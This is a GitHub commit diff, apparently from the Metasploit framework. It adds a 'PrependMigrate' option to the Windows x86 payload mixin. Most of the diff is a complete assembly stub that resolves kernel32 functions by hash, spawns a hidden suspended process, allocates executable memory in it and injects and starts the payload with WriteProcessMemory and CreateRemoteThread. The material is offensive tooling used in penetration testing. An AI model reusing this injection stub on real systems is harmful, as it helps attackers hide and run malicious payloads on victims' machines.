Skip to content

Commit 0564a6e

Browse files
committed
Add migrate stub option to Windows x86 payloads.
Migrate stub spawns payload in new process.
1 parent 9597e44 commit 0564a6e

File tree

1 file changed

+200
-2
lines changed

1 file changed

+200
-2
lines changed

lib/msf/core/payload/windows.rb

Lines changed: 200 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ module Msf::Payload::Windows
2626
# This mixin is chained within payloads that target the Windows platform.
2727
# It provides special variable substitution for things like EXITFUNC and
2828
# automatically adds it as a required option for exploits that use windows
29-
# payloads.
29+
# payloads. It also provides the migrate prepend.
3030
#
3131
def initialize(info = {})
3232
ret = super( info )
@@ -53,10 +53,208 @@ def initialize(info = {})
5353
[
5454
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ])
5555
], Msf::Payload::Windows )
56-
56+
register_advanced_options(
57+
[
58+
Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]),
59+
Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ])
60+
], Msf::Payload::Windows )
5761
ret
5862
end
5963

64+
#
65+
# Overload the generate() call to prefix our stubs
66+
#
67+
def generate(*args)
68+
# Call the real generator to get the payload
69+
buf = super(*args)
70+
pre = ''
71+
72+
test_arch = [ *(self.arch) ]
73+
74+
# Handle all x86 code here
75+
if (test_arch.include?(ARCH_X86))
76+
77+
# PrependMigrate
78+
if (datastore['PrependMigrate'])
79+
payloadsize = "0x%04x" % buf.length
80+
procname = datastore['PrependMigrateProc'] || 'rundll32'
81+
82+
migrate_asm = <<EOS
83+
cld ; Clear the direction flag.
84+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
85+
api_call:
86+
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
87+
mov ebp, esp ; Create a new stack frame
88+
xor edx, edx ; Zero EDX
89+
mov edx, [fs:edx+48] ; Get a pointer to the PEB
90+
mov edx, [edx+12] ; Get PEB->Ldr
91+
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
92+
next_mod: ;
93+
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
94+
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
95+
xor edi, edi ; Clear EDI which will store the hash of the module name
96+
loop_modname: ;
97+
xor eax, eax ; Clear EAX
98+
lodsb ; Read in the next byte of the name
99+
cmp al, 'a' ; Some versions of Windows use lower case module names
100+
jl not_lowercase ;
101+
sub al, 0x20 ; If so normalise to uppercase
102+
not_lowercase: ;
103+
ror edi, 13 ; Rotate right our hash value
104+
add edi, eax ; Add the next byte of the name
105+
loop loop_modname ; Loop untill we have read enough
106+
; We now have the module hash computed
107+
push edx ; Save the current position in the module list for later
108+
push edi ; Save the current module hash for later
109+
; Proceed to iterate the export address table,
110+
mov edx, [edx+16] ; Get this modules base address
111+
mov eax, [edx+60] ; Get PE header
112+
add eax, edx ; Add the modules base address
113+
mov eax, [eax+120] ; Get export tables RVA
114+
test eax, eax ; Test if no export address table is present
115+
jz get_next_mod1 ; If no EAT present, process the next module
116+
add eax, edx ; Add the modules base address
117+
push eax ; Save the current modules EAT
118+
mov ecx, [eax+24] ; Get the number of function names
119+
mov ebx, [eax+32] ; Get the rva of the function names
120+
add ebx, edx ; Add the modules base address
121+
; Computing the module hash + function hash
122+
get_next_func: ;
123+
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
124+
dec ecx ; Decrement the function name counter
125+
mov esi, [ebx+ecx*4] ; Get rva of next module name
126+
add esi, edx ; Add the modules base address
127+
xor edi, edi ; Clear EDI which will store the hash of the function name
128+
; And compare it to the one we want
129+
loop_funcname: ;
130+
xor eax, eax ; Clear EAX
131+
lodsb ; Read in the next byte of the ASCII function name
132+
ror edi, 13 ; Rotate right our hash value
133+
add edi, eax ; Add the next byte of the name
134+
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
135+
jne loop_funcname ; If we have not reached the null terminator, continue
136+
add edi, [ebp-8] ; Add the current module hash to the function hash
137+
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
138+
jnz get_next_func ; Go compute the next function hash if we have not found it
139+
; If found, fix up stack, call the function and then value else compute the next one...
140+
pop eax ; Restore the current modules EAT
141+
mov ebx, [eax+36] ; Get the ordinal table rva
142+
add ebx, edx ; Add the modules base address
143+
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
144+
mov ebx, [eax+28] ; Get the function addresses table rva
145+
add ebx, edx ; Add the modules base address
146+
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
147+
add eax, edx ; Add the modules base address to get the functions actual VA
148+
; We now fix up the stack and perform the call to the desired function...
149+
finish:
150+
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
151+
pop ebx ; Clear off the current modules hash
152+
pop ebx ; Clear off the current position in the module list
153+
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
154+
pop ecx ; Pop off the origional return address our caller will have pushed
155+
pop edx ; Pop off the hash value our caller will have pushed
156+
push ecx ; Push back the correct return value
157+
jmp eax ; Jump into the required function
158+
; We now automagically return to the correct caller...
159+
get_next_mod: ;
160+
pop eax ; Pop off the current (now the previous) modules EAT
161+
get_next_mod1: ;
162+
pop edi ; Pop off the current (now the previous) modules hash
163+
pop edx ; Restore our position in the module list
164+
mov edx, [edx] ; Get the next module
165+
jmp next_mod ; Process this module
166+
;--------------------------------------------------------------------------------------
167+
start: ;
168+
pop ebp ; Pop off the address of 'api_call' for calling later.
169+
170+
; get our own startupinfo at esp+0x60
171+
add esp,-400 ; adjust the stack to avoid corruption
172+
mov edx,esp
173+
add edx,0x60
174+
push edx
175+
push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
176+
call ebp ; GetStartupInfoA( &si );
177+
178+
; ptr to startupinfo is in eax
179+
; pointer to string is in ecx
180+
jmp getcommand
181+
gotcommand:
182+
pop esi ; esi = address of process name (command line)
183+
184+
; create the process
185+
mov edi,eax
186+
add edi,0x60 ; Offset of empty space for lpProcessInformation
187+
push edi ; lpProcessInformation : write processinfo here
188+
push eax ; lpStartupInfo : current info (read)
189+
xor ebx,ebx
190+
push ebx ; lpCurrentDirectory
191+
push ebx ; lpEnvironment
192+
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
193+
push ebx ; bInHeritHandles
194+
push ebx ; lpThreadAttributes
195+
push ebx ; lpProcessAttributes
196+
push esi ; lpCommandLine
197+
push ebx ; lpApplicationName
198+
199+
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
200+
call ebp ; CreateProcessA( &si );
201+
202+
; allocate memory in the process (VirtualAllocEx())
203+
; get handle
204+
push 0x40 ; RWX
205+
add bh,0x10 ; ebx = 0x1000
206+
push ebx ; MEM_COMMIT
207+
push ebx ; size
208+
xor ebx,ebx
209+
push ebx ; address
210+
push [edi] ; handle
211+
push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
212+
call ebp ; VirtualAllocEx( ...);
213+
214+
; eax now contains the destination
215+
; WriteProcessMemory()
216+
push esp ; lpNumberOfBytesWritten
217+
push #{payloadsize} ; nSize
218+
; pick up pointer to shellcode & keep it on stack
219+
jmp begin_of_payload
220+
begin_of_payload_return: ; lpBuffer
221+
push eax ; lpBaseAddress
222+
push [edi] ; hProcess
223+
push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
224+
call ebp ; WriteProcessMemory( ...);
225+
226+
; run the code (CreateRemoteThread())
227+
push ebx ; lpthreadID
228+
push ebx ; run immediately
229+
push ebx ; no parameter
230+
mov ecx,[esp-0x4]
231+
push ecx ; shellcode
232+
push ebx ; stacksize
233+
push ebx ; lpThreadAttributes
234+
push [edi]
235+
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
236+
call ebp ; CreateRemoteThread( ...);
237+
238+
;sleep
239+
push -1
240+
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
241+
call ebp ; Sleep( ... );
242+
243+
getcommand:
244+
call gotcommand
245+
db "#{procname}"
246+
db 0x00
247+
begin_of_payload:
248+
call begin_of_payload_return
249+
EOS
250+
251+
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
252+
end
253+
end
254+
255+
return (pre + buf)
256+
end
257+
60258
#
61259
# Replace the EXITFUNC variable like madness
62260
#

0 commit comments

Comments
 (0)